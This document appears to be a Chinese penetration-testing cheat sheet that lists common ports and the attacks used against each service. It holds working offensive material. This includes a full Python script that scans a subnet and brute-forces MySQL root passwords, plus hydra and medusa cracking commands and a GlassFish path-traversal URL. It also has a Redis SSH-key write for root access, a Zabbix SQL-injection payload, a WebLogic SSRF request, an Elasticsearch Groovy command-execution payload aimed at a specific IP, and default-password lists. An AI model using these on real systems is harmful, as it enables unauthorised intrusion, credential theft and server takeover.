常见端口及测试方法小结
端口是设备与外界通讯交流的出口。端口是通过端口号来标记的,端口号只有整数,范围是从0 到65535。
端口渗透过程中我们需要关注几个问题:
1、 端口的banner信息
2、 端口上运行的服务
3、 常见应用的默认端口
公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;
注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;
动态/私有:49152-65535,不为服务分配这些端口;
针对不同的端口进行不同的安全测试,本文的主要内容是关于常见端口安全隐患以及测试方法。
常见漏洞类型:
21.FTP (21)
测试内容
爆破:工具hydra,msf…
匿名访问:用户名:anonymous 密码:为空
弱口令:字典
22.SSH (22)
SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议
测试内容
暴力破解,弱口令
相关工具:hydra,msf等
23.Telnet (23)
测试内容
嗅探:此种情况一般发生在局域网;
暴力破解帐号密码,弱口令,空口令
25.SMTP (25)
测试内容
邮件欺骗,转发垃圾邮件
针对不同版本的邮件服务器外部公开的漏洞,可以在各大漏洞数据库查询。
Snmp默认团体名:
相关工具
使用namp脚本:nmap -Pn -sS -p25
--script smtp* -v
53.DNS(53)
默认端口:53
攻击方式:
dns域传输漏洞 dns.py
110.POP3(110)
默认端口:109(POP2)、110(POP3)、995(POP3S)
攻击方式:
爆破;弱口令;邮箱泄露(Github敏感信息泄漏)
可利用一些邮箱爆破脚本
389.LDAP(389)
ldap:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;这些问题的出现也都是因为配置不当而造成的。
默认端口:389
攻击方式:
注入攻击:盲注; 爆破:弱口令
未授权访问:如:ldap://1.1.1.1:389
80.HTTP/HTTPS (80,443)
超文本传输协议(HTTP,HyperText Transfer
Protocol)是互联网上应用最为广泛的一种网络协议。Web应用程序安全测试,可以参照:web应用测试案例
443端口作为默认https服务端口,较常见的漏洞危害大的就是心脏出血。
445.SMB (445)
SMB(Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。
测试内容
网络公开的针对smb协议的漏洞利用,例如ms08-067,ms17-010
相关工具
msf(auxiliary/scanner/smb/smb_version)
nmap脚本:smb-check-vulns
873.Rsync(873)
Rsync:类UNIX系统下的数据备份工具(remote
sync),Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。
默认端口:873
攻击方式:
未授权访问
nmap 0.0.0.0/24 -p873 --open
root@kali: rsync 127.0.0.1::
1090.RMI (1090)
默认端口:1090、1099、9090
攻击方式:
远程命令执行(java反序列化),dubbo java 反序列
dubbo java 反序列:
1433.MSSQL(1433)
MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台。
测试内容
暴力破解
工具:hydra
1521.Oracle (1521)
Oracle是甲骨文公司的一款关系数据库管理系统。
测试内容
暴力破解
枚举数据库信息
测试工具:msf等
2181.Zookeeper(2181)
zookeeper分布式的,开放源码的分布式应用程序协调服务。
默认端口:2181
未授权访问;
root@kali:~# echo envi |nc 0.0.0.0 2181
2375.Docker(2375)
默认端口:2375
未授权访问;
Ip:2375/version
3306.MYSQL (3306)
MySQL是一个关系型数据库管理系统。
测试内容
暴力破解
爆破工具:hydra,python,
hydra.exe -L c:user.txt -P c:pass.txt ip mysql
#!/usr/bin/env python
import threading
import argparse
import socket
import Queue
import netaddr
import MySQLdb
import time
import sys
class Mysqlfuzz:
def __init__(self,addr,tnum):
self.scanque = Queue.Queue()
self.tnum = tnum
self.tmpnum = tnum
self.lock = threading.Lock()
self.openlist = []
if addr.find("-") != -1:
for ip in netaddr.IPRange(addr.split("-")[0],addr.split("-")[1]):
self.scanque.put(ip)
else:
for ip in netaddr.IPNetwork(addr).iter_hosts():
self.scanque.put(ip)
self.qsize = self.scanque.qsize()
for i in range(tnum):
t = threading.Thread(target=self.ScanPort)
t.setDaemon(True)
t.start()
while self.tmpnum > 0:
time.sleep(1.0)
print "[*]:cracking MySQL Password ..."
with open("pass.txt","r") as file:
data = file.readlines()
for ip in self.openlist:
for line in data:
self.scanque.put(line.strip())
for i in range(tnum):
t = threading.Thread(target=self.Crack,args=(ip,))
t.setDaemon(True)
t.start()
while self.scanque.qsize() > 0:
time.sleep(1.0)
def Crack(self,ip):
while self.scanque.qsize() > 0:
try:
password = self.scanque.get()
conn=MySQLdb.connect(host=ip,user='root',passwd=password,db='test',port=3306,connect_timeout=4)
self.lock.acquire()
msg = "[+]:%s Username: root Password is: %s" %(ip,password)
print msg
output = open('good.txt', 'a')
output.write(msg + " ")
self.lock.release()
break
except:
pass
def ScanPort(self):
while self.scanque.qsize() > 0:
try:
ip = self.scanque.get()
s = socket.socket()
s.settimeout(4)
s.connect((str(ip), 3306))
self.lock.acquire()
print ip," 3306 open"
self.openlist.append(str(ip))
self.lock.release()
except:
pass
self.tmpnum -= 1
if __name__ == "__main__":
parse = argparse.ArgumentParser(description="mysqlfuzz")
parse.add_argument('-a','--addr', type=str, help="ipaddress")
parse.add_argument('-t','--thread', type=int, help="Thread Number",default=100)
args = parse.parse_args()
if not args.addr:
parse.print_help()
sys.exit(0)
addr = args.addr
tnum = args.thread
Mysqlfuzz(addr,tnum)
python mysql.py -a 192.168.1.1/24 -t 30
3389.RDP (3389)
远程桌面协议(RDP)远程桌面登陆服务,默认Windows 3389端口。
测试内容
爆破用户密码
根据网络公开的漏洞exp进行测试如ms12-020,cve-2019-0708
相关工具:hydra,msf
hydra 192.168.1.12 rdp -L users.txt -P pass.txt -V
ms12-020:
cve-2019-0708:
4848.GlassFish(4848)
默认端口: 4848
攻击方式:
爆破, 认证绕过,弱口令admin:admin
任意文件读取:/etc/passwd
https://ip:4848//theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
5432.PostgreSQL(5432)
PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统。
默认端口:5432
攻击方式:
爆破:弱口令:postgres postgres
弱口令可以用PostgreSQL数据库工具登录.
缓冲区溢出:CVE-2014-2669
工具命令:medusa -H /tmp/ip.txt -u postgres -n 5432 -P
/tmp/pass.txt -e ns -M postgres -T 255 -f -O /tmp/good.txt -r 0
5601.Kibana(5601)
默认端口:5601
Ip:5601/app/kibana
5900.VNC(5900)
VNC一款优秀的远控工具。
默认端口:5900+桌面ID(5901;5902)
攻击方式:
爆破,弱口令,认证口令绕过。
vnc -i IP1.255.255.255 -p 5900 –vnc
也可以用VNC连接工具进行连接
6379Redis(6379)
默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
工具:
https://github.com/caoxinyu/RedisClient
https://github.com/uglide/RedisDesktopManager
在上图的命令行下可利用Redis 写入webshell,前提条件是开了web并且知道路径才成功。
#ssh-keygen –t rsa
#(echo -e "
"; cat id_rsa.pu; echo -e "
") >
test.txt
#cat test.txt | redis-cli -h xx.xx.xx.xx -x set aa
redis-cli -h 0.0.0.0
0.0.0.0:6379> config set dir /root/.ssh/
OK
0.0.0.0:6379> config set dbfilename “test”
OK
0.0.0.0:6379> save
OK
7001.WebLogic(7001)
默认端口:7001
攻击方式:Java反序列化,WEBLOGIC
SSRF,WEBLOGIC
CVE-2014-4210,CVE-2016-0638 ,CVE-2016-3510 ,CVE-2017-3248,CVE-2018-2628
,CVE-2018-2893,CVE-2019-2725,CVE-2019-2729
,CVE-2018-2894,CVE-2017-3506,CVE-2017-10271
爆破:弱口令 4组:用户名密码均一致:system
weblogic(密码可能weblogic123)
portaladmin guest
Java反序列化:
WebLogic 反序列化漏洞补丁绕过(CVE-2017-3248)
Weblogic SSRF:
ip:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip:port&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
8080.Resin(8080)
默认端口:8080
攻击方式:
弱口令 admin/admin
/resin-admin/status.php
目录遍历
ip/E:%5C/ & ip/ /web-inf/
文件读取
/resin-doc/examples/security-basic/viewfile?file=WEB-INF/web.xml
Ssrf:/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://10.29.5.24
8069.Zabbix(8069)
zabbix基于Web界面的提供分布式系统监视。监视各种网络参数,保证服务器系统的安全运营。
默认端口:8069
攻击方式:
弱口令;admin/zabbix
ip/zabbix
注入
/zabbix/httpmon.php?applications=2 and (select 1 from (select count(),concat((select(select
concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users
LIMIT 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
zabbix后台是可以直接执行shell命令的。可反弹shell。
8080.Tomcat(8080)
默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager/html后台)admin/admin
tomcat/tomcat admin/null
HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
Tomcat官方安全公告漏洞;如:CVE-2017-12615
8080.Jboss(8080)
默认端口:8080
攻击方式:
爆破,弱口令(爆破jboss系统后台)/admin-console
远程代码执行:配置不当/jmx-consoel /web-console
/invoker/JMXInvokerServlet,无密码认证或认证绕过。
Java反序列化:
8080.Jenkins(8080)
默认端口:8080、8089
攻击方式:
爆破:弱口令(默认管理员)admin/admin…
未授权访问:
ip/script 可直接进入无需密码执行命令
反序列化漏洞:网上公开
9090.Websphere(9090)
默认端口:9090;第一个应用就是9080,第二个就是9081;控制台9090
攻击方式:
爆破:弱口令(控制台)admin/admin…
/ibm/console/
任意文件泄漏:(CVE-2014-0823)
Java反序列化;
9200.Elasticsearch(9200)
默认端口:9200、9300
攻击方式:
未授权访问;
ip:9200/_plugin/head/ ip:9200/_search?Preety ip:9200/_cat
远程命令执行;
命令:
查看状态:http:// ip:9200/_status
集群健康报告:http://
ip:9200/_cluster/health
集群节点信息:http:// ip:9200/_nodes
http:// ip:9200/_search?pretty
插入数据:
curl -XPOST http:// ip:9200/test/test/1 -d'
{"content":"中国好礼物,可惜是xo"}
当然也可以先创建索引:
curl -XPUT http://ip:9200/test-test
查询插入的数据:
curlhttp://ip:9200/test/test/_search?pretty
删除索引:
curl -XDELETE http://ip:9200/test
Elasticsearch Groovy 脚本动态执行漏洞;
POST数据提交:
211.151.7.139:9200/_search?pretty
{"size":1,"script_fields":{"test#": {"script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("cat/etc/hosts").getInputStream())).readLines()","lang": "groovy"}}}
11211.memcache(11211)
默认端口:11211
未授权访问
nc -vv 127.0.0.1 11211
stats items
stats cachedump 11 11
get admin_user_admin
27017.MongoDB(27017)
MongoDB:NoSQL数据库。
默认端口:27017
攻击方式:
爆破:弱口令
未授权访问;
工具: https://robomongo.org/download
127.0.0.1:27017